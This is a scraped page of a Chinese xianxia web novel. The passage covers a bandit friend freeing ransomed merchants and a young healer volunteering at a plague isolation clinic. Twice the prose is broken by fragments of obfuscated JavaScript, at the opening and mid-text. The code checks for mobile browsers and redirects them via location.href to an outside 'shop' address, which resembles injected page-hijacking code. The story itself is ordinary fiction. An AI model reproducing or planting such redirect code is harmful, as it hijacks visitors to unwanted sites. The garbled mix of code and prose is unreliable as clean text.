l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13656365|138533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“行,明天再说吧。” 两人上了楼,段星河回房间坐了一会儿,他惦记着刚才那小怪物,从包袱里翻了翻,拿出了神州风物志,坐在床头哗啦啦地翻了一阵子,在夷州一卷中找到了它。上面画着一只像鹰一样的鸟,两条腿上长着厚厚的羽毛,像穿着毛裤一样,嘴大的像青蛙。旁边写着它的名字,林鸱。 段星河看了一下,这种小鸟虽然模样古怪,但性情温顺,遇到危险就会站着不动假扮树桩。他提笔给钱远志写了封信,道:“小公子,一别数日,一向可好。我在夷州的客栈后面捡到一只林鸱,此物以昆虫为食,温顺胆怯,模样可爱。今托人捎去,希望你好生饲养。如果实在处不来,就把它放归自然,切切。” 他把信叠成一个纸条,出门买了个给鸽子用的脚环放在里面,又买了个竹笼子。次日一早,他给林鸱戴上脚环,把它装进了笼子里,外头盖上了一层黑布。其他人还在客栈睡大觉,段星河和步云邪已经出了门,今天他们有不少事要办。 两人先去了当地的驿馆,把装着小鸟的笼子交给了伙计,让人送到大幽万通商会的会长家里去。对方收了钱,道:“放心吧,半个月内送到。” 段星河掀起黑布,对着小鸟道:“去找你的饭票吧,一路顺风。” 林鸱尖嘴朝天,正在假装自己是一根树桩。步云邪笑了,道:“再见。” 两人骑着马出了城门,走了一个多时辰,来到了莽山脚下。一队小弟正在巡山,看到了他们,连忙颠颠地跑过来,站成一排道:“二哥好!” 段星河已经习惯了,点了点头道:“你们大哥呢?” 小弟道:“在寨子里呢,我带你们去。” 段星河牵着马,和步云邪一起往山上走去。众人沿着蜿蜒小路来到山顶,前头有个木头搭的寨子,规模还挺大,就是看起来有些年头了。段星河道:“这里不是你们盖的么?” “不是啊,”小弟道,“我们这寨子是捡的现成的,以前这边有些绿林好汉,后来穷的散伙了。我们大哥从这边路过,看房子还能住人,就接管了。” 段星河和步云邪进了寨子,在一间屋里等了片刻,就见于百川大步过来了。他见了段星河显然松了口气,张开双臂跟他用力拥抱了一下,道:“好兄弟,你可算来了,那帮做生意的一天到晚在这里连哭带叫的,可把人烦死了!” 段星河道:“你没伤人吧?” “哪里敢呢,”于百川道,“好吃好喝伺候着,一天还管一顿肉,吃的比我兄弟们还好。我怕他们热着了,还每天给一桶冰镇绿豆汤。不信你去看看?” 段星河不想在路上被他们认出来,还平白结个仇。他道:“不用看了。庵摩罗果都出手了,很顺利。” 于百川得意道:“我给你的消息怎么样?” 段星河心悦诚服道:“不愧是做情报的,确实厉害!” 他从腰包里掏出一千五百两银票,道:“这是给你的分成。” 于百川反复看了两遍,兴奋的不得了。他把钱收了起来,正色道:“好兄弟,我就知道你是个能挣大钱的人,一见你准有好事!” 段星河道:“赶紧把那些人放了吧。这地方不能待了,他们回去肯定给你报官。” 于百川的嗅觉敏锐,不用他说,已经把东西都收拾好了。他道:“昨天巡山的就说有官兵悄悄过来查看情况,也不知道是哪个杀千刀的给我报官了。反正这破地方也不是我盖的,扔就扔了吧。我打算这两天就走了,你再不来,哥哥连路费都没有。” 段星河笑了,道:“你替我担了这么大的风险,我哪能不管你。” 于百川道:“我这就去把人放了。” 段星河在屋里待了片刻,透过窗户望见几个商人踉踉跄跄地从寨子深处走了出来。于百川把货物和大车都还给了他们。几个小弟跟在他们身后,和善地说:“走吧,路上小心啊。” 那几个商人受了这么多天惊吓,都十分恐惧。一个个蓬头垢面的,赶着车往山下逃去,一会儿功夫就跑没影了。 段星河有点说不上来的感觉,自己好像做了件不太好的事,又没有特别切实的感觉。人为了能活下去,有时候是得不择手段的。步云邪看向旁边的小弟,道:“你们为什么跟着于百川?” 小弟认真道:“大哥给我们饭吃,还带我们奔好前程。别看我们现在落魄,大家也是有理想才聚在一起的。” 步云邪道:“什么理想?” 小弟一本正经道:“天下太平。” 步云邪觉得有点荒诞,一帮打家劫舍的人,居然有这么宏大的理想。他道:“那你们现在这样,不觉得背道而驰吗?” 那小弟踌躇满志道:“成大事者不拘小节,我们要实现理想得先重建纵横派,又要养活这么多人,正是缺钱的时候,用一点非常规的手段也是可以理解的。” 他的目光坚定,看来这段时间于百川没少给他们洗脑。步云邪道:“然后呢?” 小弟自豪道:“然后我们就跟随大哥游说于各国之间,纵横捭阖,化战争于无形,把和平散播在整片大陆上!” 他抬手豪迈地一挥,阳光透过窗户照在身上,让他整个人闪闪发光。段星河和步云邪沉默着,已经能想象到平常于百川是怎么跟这些小弟画饼的了。 于百川走了进来,一身轻松道:“人都放走了。” 段星河道:“看见了,你接下来打算怎么办?” 于百川道:“找个地方盖几座房子,先把纵横派重建起来。有钱了我们就金盆洗手,从此专心致志当好人,不再劫道了。” 老朋友能回正道上去,段星河也松了口气。他道:“你们想去什么地方落脚?” 于百川寻思好久了,道:“夷州和燕丘太荒,巴蜀交通不便,大幽皇帝灭了我们满门,我也不想再回去了。我看大新不错,打算过去试一试。要是挣到钱就再建几个情报站,形成一个消息网,一点点发展起来,我们纵横派就能恢复从前的荣光了。” 他一说起前景,眼睛都亮了起来。段星河微微一笑,道:“那就祝你成功了。” 于百川笑了一下,道:“你呢,接下来打算怎么办?” 段星河的目光望向了西边,道:“我打算去巴蜀,一路历练修行,争取早日登阶。” 修仙之人都希望早日飞升,他的理想在这个世界算是十分朴素的了。于百川道:“好,那也祝你成功。” 他想了一下,又道:“你小妹子找到了吗?” 段星河道:“还没呢,你有线索吗?” 于百川摇了摇头,显得有些遗憾。段星河觉得纵横派若是建成了情报站,找起人来比自己方便多了。他从怀里掏出了一张羊皮画像,道:“你拿着这个,多复制几份,有情况就通知我。” 于百川爽快地答应了,道:“放心,我会帮你留意的。” 两人又拥抱了一下,在这个倾圮的世界中,有个能信得过的人也是一种幸运了。他送段星河和步云邪走了出来,小弟们正在外面收拾行李,来来往往的十分忙碌。于百川道:“客人要走了,规矩呢?” 小弟们迅速站好,齐声道:“恭送二哥——!!!” 段星河面不改色地点了点头,道:“好,改日再会。” 44.瘟疫 一 两人骑马回到了客栈,天色已经将近黄昏了。街道上的行人明显比以往少多了,每个人都行色匆匆的。一进客栈大堂,便闻见了一股艾叶的气息,到处烟气缭绕。段星河道:“怎么了?” 小二哥从旁边经过,口鼻上蒙着白布,拿着艾条到处熏屋子,道:“瘟疫最近严重了,城里有不少人都生病了,今天一上午就让官府拉走好几个呢。” 段星河的神色凝重起来,道:“生病的要隔离?” 小二哥道:“病的轻的可以在家待着。病的重的会咳血,在家熬着更糟。官府在城南慈心药庐设了隔离点,接过去有专门的郎中治疗,还能防止传染给别人。不少人怕传染给家人,都自愿去隔离了。” 他道:“两位赶紧回屋去吧,别传染上了。” 从瘟疫开始蔓延到现在有一个月了,本来以为能够控制得住,没想到越发严重了。两人回客房歇了一宿,次日一早,赵大海过来敲门。他脸上蒙着一层白布,闷声闷气道:“二师兄,伏顺病了,你去看看吧。” 步云邪的心一沉,寻思着应该是他到处乱逛,染上了瘟疫。他拿了块布蒙在脸上,出门去了隔壁。伏顺躺在床上,身体烫的厉害,缩在被子里瑟瑟发抖,喃喃道:“冷……冻死我了……” 现在正是夏天,他捂成这样还嫌冷。步云邪摸了他的脉搏,发病初期症状还不明显,有点像风寒。他沉吟道:“吃点药吧,大海看着他,小心别被传染了。” 赵大海拍了拍胸膛,道:“我身强力壮的,没事。” 步云邪开了个方子,打算去药铺里买一些药。段星河想看看城里的情况,和他一起出了门。两人去药店一问,伙计道:“板蓝根又涨价啦,昨天封了城,物价全涨了一番。” 段星河十分诧异,道:“封城了?” 伙计也挺无奈,道:“夷州王下的命令,就咱们这儿的瘟疫最严重,怕往北边传。城门口正闹腾着呢。” 他们昨天刚来,今天就被堵在城里了,也是够不走运的。两人买了药,出门去了城门口,见一群百姓怀里抱着孩子,挎着篮子、驾着车,像逃荒的似的,想趁着还没被传染上赶紧跑。城门口已经堆起了沙包和石头,足有一人多高。一队官兵拿着长矛守在城门口,队长大声道:“肃静——夷州王有令,此处封城三个月,谁也不准离开。” 百姓们不甘心,嚷嚷道:“三个月被堵在这里,没病的也被传染上了。快开门,我们要出去!” 太守张巍亲自出面,好言劝道:“乡亲们,上头有令,咱们不得不从。本官已经安排了郎中给大家治病,生病的集中隔离,管药管饭。没病的只要待在家里,就不会被传染上。咱们齐心协力,一起共渡难关。” 又有人道:“现在外头也不安全,别人一听咱们是从长阳郡来的,就跟避瘟神似的。还不如待在家里,熬一熬就过去了。” 一部分人觉得闹下去也没用,又怕扎堆在这里传染,便回家去了。还有一部分吵吵嚷嚷的,就是要走。张太守劝得口干舌燥的,也十分疲惫。他道:“请各位相信官府,非常时期,还请大家配合。现在城南医馆还缺人手,有懂医术的可以报名去帮忙,感谢大家——” 段星河见旁边的告示栏上已经贴出来了,城南慈心药庐受命于官府,负责控制本次疫情,诚募懂医术者加入,包食宿,官府补贴每日三钱银子。 药庐里每天接触的都是重病患者,很容易被传染。大家都避之不及,只有少数人愿意冒着危险去帮忙。 步云邪若有所思,回到了客栈,一直没说话。他给伏顺熬好了药,把汤碗交给了赵大海,道:“药已经分好了,每天熬一包,吃完了再找郎中去看。” 赵大海觉得有些奇怪,道:“二师兄,你不给他看了么?” 步云邪已经想好了,道:“城里需要医生,我一会儿去城南药庐,可能好一阵子不回来了。” 赵大海十分诧异,愣在原地不知道该说什么才好。步云邪回屋收拾了东西,打算走了。段星河推门进来,看着他床上的包袱道:“你要去帮忙?” 方才赵大海跟他说了,希望他能拦一拦二师兄。现在瘟疫这么严重,去了很可能被传染。外头那些人不只是发热咳嗽,严重时咳血不止,无法呼吸,已经死了不少人了。 步云邪虽然平时风淡云轻的,一旦决定了的事就很难改变。人人都怕死,方才街上的混乱他都看见了,越是这时候,越是需要有人逆向而行。他道:“我跟我娘学了几年医术,能帮得上忙的。” 段星河对大众有善意,但也有私心。他不希望身边的人冒这么大的危险,过去按住了包袱,道:“咱们本来就不是这里的人,没必要管这么多,好好在客栈里待着不好么?” 步云邪知道他担心自己,温声道:“放心吧,不会有事的。从前步家寨子里就染过瘟疫,我娘和一些巫医救了很多人。我经历过,知道怎么保护自己。” 段星河想起了那时的情形,寨子里爆发了瘴气,死了很多人。那时候他们的年纪还小,帮不上忙,但身边好几个伙伴都死在了那场瘟疫里,步云邪心里一直都有遗憾。他这些年苦学医术,也是希望能救更多人。如今再次遇上了这样的事,他不可能置身事外。 段星河沉默下来,步云邪拿起了包袱,道:“你们还要在这里隔离一段时间,等解禁了,我也就出来了。” 段星河心知拦不了他,还是舍不得。他道:“我陪你去吧。” 两人一起出了客栈,大街上空荡荡的,路边零散着几张纸钱。空气里弥漫着白术和艾草的气味,又有些烧黄纸的味道。风一吹,纸灰到处飘散,枝头传来老鸦的叫声,昔日热闹的城镇仿佛变成了一个硕大的坟墓。 片刻来到了城南慈心药庐,门前种着几棵繁茂的龙爪槐,形状如伞一般。几个官府的卫兵在大门口守着,见了他们便道:“来隔离的么?” 步云邪道:“我们没生病,我是看了官府的告示来帮忙的。” 卫兵道:“他也是?” 段星河倒是想进去陪着他,道:“我不会医术,就有两膀子力气,你们需要干活的么?” 卫兵道:“多谢了,干活的招满了,现在就缺医生。这位兄弟跟我来吧,我带你去见这里的主事。” 步云邪进了医馆,白色的身影渐行渐远。段星河站在大门外望着他,一副望眼欲穿的模样。另一个卫兵道:“别看啦,又不是进去就出不来了。” 段星河道:“什么时候能出来放会儿风?” 卫兵笑了,道:“什么放风啊,又不是犯人。不进隔离区的话,有主事的令牌就能出来。进了隔离区的话,就只能等全城解禁才能出来了。” 段星河叹了口气,里头都是重症病人,这么安排也是为大家负责。他没再说什么,转身回客栈去了。 步云邪挽着包袱进了医馆,卫兵带他去了正堂,道:“你在这儿等一会儿,主事忙完了就来。” 步云邪在堂上坐了片刻,见庭院里的人来来回回的,医者都蒙着脸,穿着白色的衣袍。一会儿功夫,一个六十出头的老人家匆匆走了过来,他头发胡子都花白了,眼神清澈,眼角生了一圈阴鸷纹,一看就知道是个和善的人。步云邪站了起来,老人家的态度十分和气,道:“我就是慈心药庐的主人,叫李念慈。小伙子,你是来帮忙的?” 步云邪行礼道:“晚辈步云邪,是彝族人,从小跟母亲学了一些医术,不知道能不能帮得上忙。” 李念慈已经习惯了接收志愿者,从书架上拿出了一张纸,道:“各地的医术都大同小异,毕竟人体的经络穴位都一样的。我这里有一套题,你先做一做,我会根据结果给你分配岗位。” 步云邪没想到这里还挺严格,来帮忙要先考试。他接过了卷子,道:“好。” 李念慈还有别的事要忙,便离开了。步云邪展开卷子看了一眼,发现都是一些症状的判断,还有些脉象和用药的题目。花了一炷香的功夫,他做完了题。一名弟子收走了卷子,道:“师父让我先带你去住下。” 他带着步云邪去了后头,这边有个单独的院子,是给在外围的医者住的。药庐里有学堂,也有药房和书阁,临街有问诊的门面,正面挂着块黑底金字的牌匾,写着慈心堂三个大字。东边有个药圃,疫病爆发之前弟子们还有闲情自己种一些药草,如今已经没工夫管了。整个药庐一共有五进院,后头三进改造成了隔离点,供病人居住,照顾他们的医者也在那边。 接引弟子给了他两套白色的衣裳。嘱咐他每天早晚一定要用艾草熏身体,接触过病人要洗手,时刻戴着面罩。步云邪早年见识过瘟疫,知道这些都是最基本的预防措施,点头答应了。 次日卯时初,天色刚亮,外头开始有人走动了。宅子里一宿都有人咳嗽,那声音撕心裂肺的,让人听了都心惊。他刚来,没人安排他值夜,以后可能晚上也要跟人轮班了。 步云邪推门出了房,阳光照下来,有几个穿白袍的医者从他身边走过,一边道:“今天有什么吃的?” 另一人道:“昨天夜里病重了两个,哇哇吐血,你还老惦记着吃。” 那人道:“不吃饭怎么有力气干活,每天都有人死,哭也哭不过来啊。” 又一人道:“咱们自己别传染上就不错了。过年的时候我娘去庙里求了一张护身符,我一直贴身揣着,挺管用的。” 另一人跺了跺脚,幸福地说:“我有老婆亲手缝的鞋垫,穿着就什么都不怕了。” 他回头看伙伴:“你呢?” 那人道:“官府一天给补贴三钱银子,挺不住了就算算挣了多少钱。我还没出去好好花一花呢,怎么能死?” 三个人聊着天走远了,步云邪望着他们,心中有些敬佩,又觉得沉重。他们每天照顾这些病人,生活在死神的阴影下身心疲惫,心里有个支柱也是好的。 他正想着,从前头走过来一个弟子。那人也穿着白袍,衣领却是蓝色的,身份比别人更高一些。他走过来道:“你是昨天刚来的吧,我是这里负责的人,叫贺宇昭。抱歉,昨天太忙了没来见你。咱们先去吃饭,然后上午我带你干活儿。” 两人一起往大厨房走去,在这里干活的大娘都是附近自告奋勇来的,想为治病救人尽一份力。天不亮这边就开始做饭了,上百份餐食分别放在食盒里,搁在厨房外的桌子上。医者来了拿一份就走,吃完了放在专门回收的地方,有人消完了毒再送回来。 给病人用的碗筷单独在一个地方消毒,做饭的地方也在内院,跟医者分开,免得互相传染。这里的一切都有条不紊,作为管理者,药庐的主人做得很好。 两人一起去了旁边的饭堂,食盒里有一碗红米八宝粥,一碟咸菜,两个大肉包,一个茶鸡蛋,还有两片切的厚厚的酱牛肉。步云邪本来都打算进来就坐牢了,没想到伙食还不错。贺宇昭对这里的饭菜也很满意,道:“来这儿一天到晚都有忙不完的活儿,吃点好的才顶得住啊。” 两人吃着饭,贺宇昭磕开一个鸡蛋道:“你写的卷子师父看了,说你的医术不错。我也看了,满分,后头对伤寒病的论述也很有见解,你挺厉害的啊!” 步云邪微微一笑,道:“还好,跟我娘和寨子里的巫医学的。” 贺宇昭道:“师父叫我给你安排个病房,让你负责一些轻症状的病人。等过几天熟悉了,可能还会调你去内院干活。你怕不怕危险?” 步云邪既然来了就不怕被传染,道:“哪里需要,我就去哪里。” 贺宇昭点了点头,道:“有觉悟,向你致敬。” 他端起粥碗,敬酒似的虚虚一碰,脸上带着一抹笑。他大约二十五六岁年纪,性情十分豁达,对新来的人也很友善。 两人聊了一会儿,得知贺宇昭是李念慈的小徒弟,深得他信任。慈心药庐的讲堂里收了三十来个弟子,但李念慈亲传的徒弟只有三个。李老先生想把医术传播出去,从去年春天起开了学堂,收了不少城里的年轻子弟。不过那些都是外门弟子了,最让师父信赖的还是大弟子。他的医学天赋很高,师父本来要把衣钵传给他的。 步云邪一直没见到大弟子,道:“他人呢?” 贺宇昭黯然道:“他去世了。前年城外有妖魔伤人,大师兄赶去救治,不幸被也袭击了。他被抬回来的时候已经体无完肤了。师父的医术再高明也救不了他,眼睁睁地看着他走了。” 步云邪一诧,没想到自己问到了不该问的。白发人送黑发人,那情形是何等的绝望。他道:“抱歉。” 贺宇昭摇了摇头,道:“无妨。那件事之后师父就很消沉,觉得自己行医一辈子,连最爱的徒弟都救不了,难过的头发一夜之间全白了。我陪了他大半年,他才打起精神来。他对外开了讲堂,想要把医术传给更多人,也想从中找一些有天赋的年轻人,但一直没能如愿。” 步云邪觉得他就挺不错的,道:“那你呢?” 贺宇昭道:“我就是帮师父干点小活儿。药庐现在管事的是二师兄,他算账是一把好手,前头的药铺都是他管的。” 步云邪觉得他是谦虚了,李老先生既然把这么多事交给他,就说明对他很器重。发展药庐说到底还是传承医术,二师兄就算再会经营,也不过是个行医的商人,离老先生的初心也远了。 吃完了饭,贺宇昭带着步云邪去了病房。这边一个院子里有好几间大屋,每间屋里都有十个病人,前头几间院子一共收治了一百来个病人,后头隔离点还有三十来个重病患者。早上有人给病人送了饭和汤药,有专门的人负责打扫卫生、消毒。 辰时正,他来给病人把脉、看诊,记录每个人的病情,对他们的药量进行调整。病症严重的病人随时送到后头隔离点,症状减轻的观察一阵子,没事了就换到前头来。 贺宇昭带了步云邪一个时辰,教给了他要做什么,道:“这个病房就交给你了,师父在隔离点给病人治疗,你有事就找我。我上午在各个病房,实在找不到喊一嗓子我就能听见。下午我会跟二师兄在临街的慈心堂坐诊,收治病人。” 步云邪点了点头,贺宇昭还有别的事要忙,摆了摆手走了。有人推着装药材的小车从庭院中经过,到处弥漫着药草的味道。步云邪给病人把了脉,记录了病情。熬药的人忙不过来,他过去帮了一阵子忙,熏得衣服上都是药味。外头有人跑过来,慌张道:“不好了,有人吐血了!” 这病一开始跟普通的疫病没什么区别,就是咳嗽、发热,病到一定程度身上就开始起红斑,严重的则会吐血,百姓管这个叫毒血瘟。这病主要通过呼吸道传染,控制得好能治愈,但有些发展迅速的会扩展到身体各处,导致器官衰竭死亡。 步云邪连忙赶过去,病人呕了不少血,把被子都染红了一大片。步云邪给他扎了针,病人稍微安静了一点,表情还是有些痛苦。有人来把染了血的被子换走了,病人的血和分泌物都有毒,每天光是清理就是一项大工程。副手低声道:“他病的这么重,不能在前头耗着了。待会得送到隔离点去,让师父亲自诊治。” 旁边的病人呼吸困难,喘气像拉破风箱似的拉不动,道:“医生,咳……我喘不上气来了。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665605|138533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 步云邪给针消了毒,找准穴位给他下了针,片刻病人缓解了症状,感激道:“小大夫,谢谢你。” 其他病人有的睡着了,有的躺着发呆,时而有人咳嗽几声。年纪大的有七十来岁了,总躺着怕得褥疮,要经常去帮老人翻身。窗户旁边住着个十岁左右的小男孩儿,是屋里年纪最小的了。周围都是大人,他孤零零地一个人坐在床上,似乎病得最轻,但总是在屋里待着,憋的很难受。 屋里点起了苍术消毒,病人都已经习惯这种味道了。步云邪在门口撩了点水,细细地洗去手上的血渍。旁边床上的小孩儿转过身来,乌溜溜的眼睛盯着他,似乎对他很感兴趣。 “哥哥,你是新来的么,我没见过你。” 这里的医者脸上都蒙着布,难为他能分的出来。步云邪道:“是啊,你叫什么名字?” 小孩儿道:“我叫小豆子。” 步云邪道:“小豆子,你来这里多久了?” 小孩儿无聊地晃着脚丫,道:“我在这里半个月了,一直不能出去,好难受啊。” 步云邪有点同情他,道:“你家里人呢?” 小豆子的脸色黯淡下来,道:“我哥哥病的重,在后面隔离着。娘不能进来,在家里等着我们。” 步云邪点了点头,道:“好好吃药,好好休息,你和哥哥会好起来的。” 他忙活了一整天,傍晚经过庭院,见后头浓烟滚滚的。他停下来看着那边,有种不好的感觉。给他打副手的伙伴道:“步兄,别看了。” 步云邪道:“那是干什么的?” 副手低声道:“重症死掉的,就从后门抬出去,拉到单独的院子里烧了。” 病人的尸体也会传播瘟疫,只能烧掉。远处传来家人的嚎哭,黑烟遮蔽了大半个天空。这里的医者都已经麻木了,副手道:“昨天死了两个,今天死了一个。今天的死者还有家人,能为他哭一哭。前几天去世的人,连亲人都没了。” 步云邪沉默下来,心沉了下去。副手道:“待得久了就习惯了。相信师父,咱们可以熬过去的。” 忙完了一天的活,步云邪回到住处,有些疲惫。他没换外袍,扯了个凳子靠在墙边坐下了。不知道病房还有没有事,他不敢换衣裳。外头有人来敲门,是他的副手朱蒙。 “步兄,睡了?” 步云邪睁开了眼,道:“没事,病房找我?” 小朱道:“没有,是师父找你。他在前头院子的书房,主屋东边亮着灯的那一间就是了。” 步云邪长长吐出一口气,出门去了书房。李念慈坐在书案前,桌子上摊着一沓纸,后面的书架上摆满了医书、卷轴、竹简。有不少都十分残旧了,说不定是难得的孤本。老先生行医半生,应该收集了不少罕见的医书。 步云邪行礼道:“李先生,您找我。” 李慈心搁下了笔,微微一笑道:“干了一天活,累么?” “没事,”步云邪道,“平时也干不少活儿,这不算什么。” 李慈心道:“你的卷子我看了,答得很好,后面关于风寒症的论述写的也不错。你的医术是跟谁学的?” 步云邪道:“青岩山寨子里有巫医,传了几百年了。我跟我娘学的,她是寨子里的祭司,平常也帮人看诊。” 李慈心点了点头,慎重道:“原来是家学。我一直在写一部医书,叫做千金医典,想集天下医术之大成,将医学发扬光大。你既然精通医术,能不能把你家乡的经方写下来,让我取长补短,完善这本书?” 各地医学流派庞杂,有些有用,有些只是虚有其表。需要有人去芜存菁,把医术整合在一起。他要做的是大事业,能造福很多人。步云邪没什么好藏私的,道:“只要能帮到百姓,晚生愿意尽力。” 李慈心十分高兴,站起身来道:“小友无藏私之心,以苍生为念,请受老朽一拜!” 步云邪连忙还礼,道:“老先生不必如此,晚生不敢当!” 李慈心把隔间的桌子给了他,叫步云邪每天晚饭过后来写半个时辰医方。两人隔着一扇碧纱橱,灯火互相映照。寨子里的医术发展的不全面,寨民们常得的病,治疗的方子就多一些,譬如跌打骨科、伤寒、寄生虫、妇产这些,还有一些祝由的法子是步家寨子独有的,他也打算都记下来,由李慈心一一分辨。 待的时间久了,步云邪得知了一些这边的事。李慈心早年到处行医,积累了大量的经验,五十岁之后回到老家,建立了慈心药庐,治病救人的同时开始撰写千金医典,希望把自己毕生的经验传下去。 李慈心游历半生,一心要做一个医学上的集大成者。他做这件事并非为了虚名,而是想要把目前医学各派最先进的见解集结成书,流传下去,造福更多人。 他将这本书命名为千金医典,内容分为脉象、药草、针灸、内科、外科、祝由这几个门类,如今写到了内科各类病症,外界爆发了瘟疫,他只得停了下来。 步云邪每天写完了医方,李慈心看了,总会跟他谈论一些见解。步云邪从中学到了不少东西,以前很多不甚明了的地方经他点拨,豁然开朗。没想到自己来帮忙,还有这等意外的收获。 这天李念慈看完了他写的方子,道:“你对炼丹还有心得?” 步云邪道:“晚辈在青岩山逍遥观修行,本来就是丹修。” 这里修道之人甚多,李念慈也不以为奇。他道:“我早年曾经拜在百草门下,本来想好好学习医术。后来却发现他们痴迷于炼丹、种灵植,要不然就是抢夺天材地宝,一心只有求仙,却对外界百姓的疾苦不闻不问。道不同不相为谋,我希望救更多人,就离开了百草门,做了一名游医,漂泊了二十多年才回老家,觉得这一生不算虚度。” 他长舒了一口气,道:“人这一辈子活成什么样,得由自己说了算。我选择了这条路,心里踏实得很,没白来世上走一遭。” 他出身于士族,这座大宅子就是他家的祖产。有这样的出身却肯放弃安逸,济世救人,实在让人敬佩。而百草门的人要独善其身,也是他们自己的选择。 步云邪道:“我跟百草门的人打过交道,他们的人还算好说话。疫情刚爆发时,我师兄从他们那里买了一些板蓝根,运来卖给了官府。” 之前城里的药材价格疯涨,医生们都束手无策,幸亏后来官府低价买到了药材,这才解了燃眉之急。李慈心十分意外,道:“之前官府送来的药材,是你们进的?” 步云邪道:“是我们。” 李慈心露出了笑容,道:“看来咱们确实有缘,那会儿你我还不认识,你们就帮了我大忙了。” 步云邪谦虚道:“先生治病救人,是立大功德的事。就算我们没送药来,上天也会派其他人来帮你的。” 他泡了一壶龙井端过来,放在了书桌上。淡淡的茶香飘出来,带来一丝短暂的宁静。李慈心端详着他,越看越觉得这年轻人聪明机敏,对待长辈也恭敬有礼,很合自己的心意。他开口道:“等这边的疫情平息了,你愿不愿意在这里多待一阵子,跟我学一些东西?” 步云邪一怔,能得蒙名医的青睐,是多少人盼都盼不来的福气,只可惜自己不属于这个世界。他道:“多谢先生好意,但我还有伙伴等着我,没办法久留。” 李慈心觉得有点遗憾,布满皱纹的手放在医书上摩挲了几下。他晚年失去了最看重的徒弟,就像失去了儿子的老人,内心十分寂寥。步云邪也觉得很过意不去,虽然没办法留下来,但至少在这里的这段时间,自己会尽心尽力帮他的。 45.瘟疫 二 这几天步云邪去病房看诊,发现病重的人越来越多了。过了这么久,还是没有特别有效的药,大家都一筹莫展。小豆子这几天咳嗽的越来越重了,痰里带着血丝。他早晨起来喝了一碗药,一会儿功夫都吐了。他发着烧,躺在病床上迷迷糊糊地喊娘,一会儿又喊哥哥,道:“我想回家,这里的药好苦啊……” 步云邪有些心疼他,过去握着他的手,在床边坐了一会儿。小豆子觉得自己好像回到了家里,身边有亲人陪着,这才安稳下来,渐渐睡着了。 朱蒙过来道:“这孩子最近病的重了,得挪到后头去了。” 步云邪微微皱起了眉头,虽然后面的病人能得到更好的照料,但他来的这些天里,只见有人转过去,就没见病人治好出来的。他垂着眼没说话,小朱道:“你要是不放心,也可以过去看看他。” 以他们现在的能力,只能减缓瘟疫的传播。病人们痛苦的模样浮现在眼前,步云邪不想这样随波逐流下去,打算尽己所能行动起来,找一找解决的法子。 忙完了病房里的事,步云邪来到了临街的医堂。外头挤挤挨挨的都是病人,到处都是咳嗽的声音,好多是新增的病人。李慈心在前头坐诊,贺宇昭也在,嘱咐大家吃了药在屋里隔离,尽量别出来了。步云邪在旁边帮忙,到了傍晚时分,病人都回去了。李慈心揉了揉眉心,显得十分疲惫。 贺宇昭道:“师父,今天又有好几个病人病重了,我让人挪到后面去了。” 李慈心嗯了一声,道:“等会儿我去看看。” 他一把年纪了还这么忙碌,实在让人心疼。但一直这样追着病症跑不是办法,得从根本解决才行。步云邪道:“先生,瘟疫一直在传播,源头到底是哪来的?” 李慈心叹了口气,道:“咱们能找到最早感染的,是个卖糖画的人,已经收治在后头了。我这段时间一直在研究他的病症,感觉跟其他人没什么区别。我跟他谈过,那人顽固得很,只说自己被风吹了,就得上了这个病,别的什么也没接触过。” 步云邪的心思微微一动,觉得有点古怪。贺宇昭道:“那个老头儿凶得很,之前我去问他,他就大发脾气,说我嫌弃他传染别人,还拿枕头砸我。我明明不是那个意思,他真的是一点道理都不讲。” 步云邪道:“生病的人难免敏感吧,他得病最早,觉得别人都怪他才会生气。” 贺宇昭还心有余悸,道:“那也不能那么凶啊……” 李慈心道:“可能他自己也不知道源头吧。要是能知道他是怎么感染上的,兴许就有法子了。” 他说着,低头咳嗽了几声。贺宇昭有些紧张,道:“师父,您也病了?” 李慈心道:“不妨事,就是累的气虚,没染上病。” 他虽然这么说,却抬起手把徒弟推得远了一些。他道:“把衣裳熏一熏,去休息吧,小云晚上不必来书房了。明天我在后面照顾病人,让你二师兄在前头坐诊。” 贺宇昭答应了,神色里藏着忧虑。师父回去休息了,两人一起去了大厨房,饭已经领的差不多了,桌子上只剩下零星几个食盒。两人拿了饭,在饭堂里坐下了。屋里点着一盏昏黄的油灯,桌子上残留着刚用药水擦过的一点湿气,空气中弥漫着饭堂里经久不散的一股油腻味。 步云邪没什么胃口,喝了一口红米稀饭,已经凉了。他拿起了馒头,慢吞吞地吃着凉透了的白菜炒豆腐。 油放多了,盐也没拌开,让他想起了赵大海做的大锅饭。分开这么久了,不知道他们过得怎么样,伏顺的病好了么?有没有人照顾墨墨?段星河最近在做什么,有没有惦念自己? 长久积累的疲惫和压力涌了过来,让他生出了想家的感觉。但想的不是步家寨子,也不是青岩山,而是跟兄弟们在一起的感觉。虽然这里的人都很好,但他确实很想念家里的人了。 贺宇昭沉默着吃了半碗饭,停了下来,转头看着外面的夜空。一道黑烟升了起来,又有人死了。步云邪闻到了那股气息,但没说什么,来这里十多天,他已经习惯了这里的一切。 贺宇昭道:“你屋里的那个小豆子,下午转到后面重病区了。” 步云邪嗯了一声,贺宇昭道:“我看见他了。别人去后面都哭哭啼啼的,他倒挺高兴,还拉着我问,他哥哥是不是也在那里……我不知道该怎么回答他。” 步云邪抬头看着他,贺宇昭的眼里蒙了一层阴影,道:“他哥哥前天就没了,夜里吐了好多血,浑身烧的都是红斑。师父大半夜赶过去,用针放了不少毒血出来,还是没能救活。” 他从怀里拿出一个小巧的银镯子,戴的久了有点发黑。小孩子活泼好动,很容易把精巧的东西弄坏。但这个镯子没有太大的变形,看得出来它的主人很珍惜它。 贺宇昭道:“这是他哥哥留下来的,他让我交给小豆子,还说当初为了抢这个镯子,他咬了弟弟一口,心里一直很过意不去,让我帮他给弟弟道歉。” 